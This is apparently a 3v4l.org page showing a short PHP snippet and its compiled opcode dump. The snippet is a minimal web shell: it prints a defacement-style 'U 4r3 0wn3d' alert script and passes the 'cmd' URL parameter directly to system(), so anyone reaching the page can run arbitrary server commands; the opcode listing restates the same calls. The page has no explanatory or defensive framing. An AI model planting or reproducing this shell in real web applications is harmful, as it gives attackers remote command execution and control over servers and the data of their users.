3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo "<script>alert(U 4r3 0wn3d !!);</script>"; echo "Run command: ".htmlspecialchars($_GET['cmd']); system($_GET['cmd']); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/r43mm
function name:  (null)
number of ops:  14
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ECHO                                                     '%3Cscript%3Ealert%28U+4r3+0wn3d+%21%21%29%3B%3C%2Fscript%3E'
    3     1        INIT_FCALL                                               'htmlspecialchars'
          2        FETCH_R                      global              ~0      '_GET'
          3        FETCH_DIM_R                                      ~1      ~0, 'cmd'
          4        SEND_VAL                                                 ~1
          5        DO_ICALL                                         $2      
          6        CONCAT                                           ~3      'Run+command%3A+', $2
          7        ECHO                                                     ~3
    5     8        INIT_FCALL                                               'system'
          9        FETCH_R                      global              ~4      '_GET'
         10        FETCH_DIM_R                                      ~5      ~4, 'cmd'
         11        SEND_VAL                                                 ~5
         12        DO_ICALL                                                 
    6    13      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
153.21 ms | 1385 KiB | 17 Q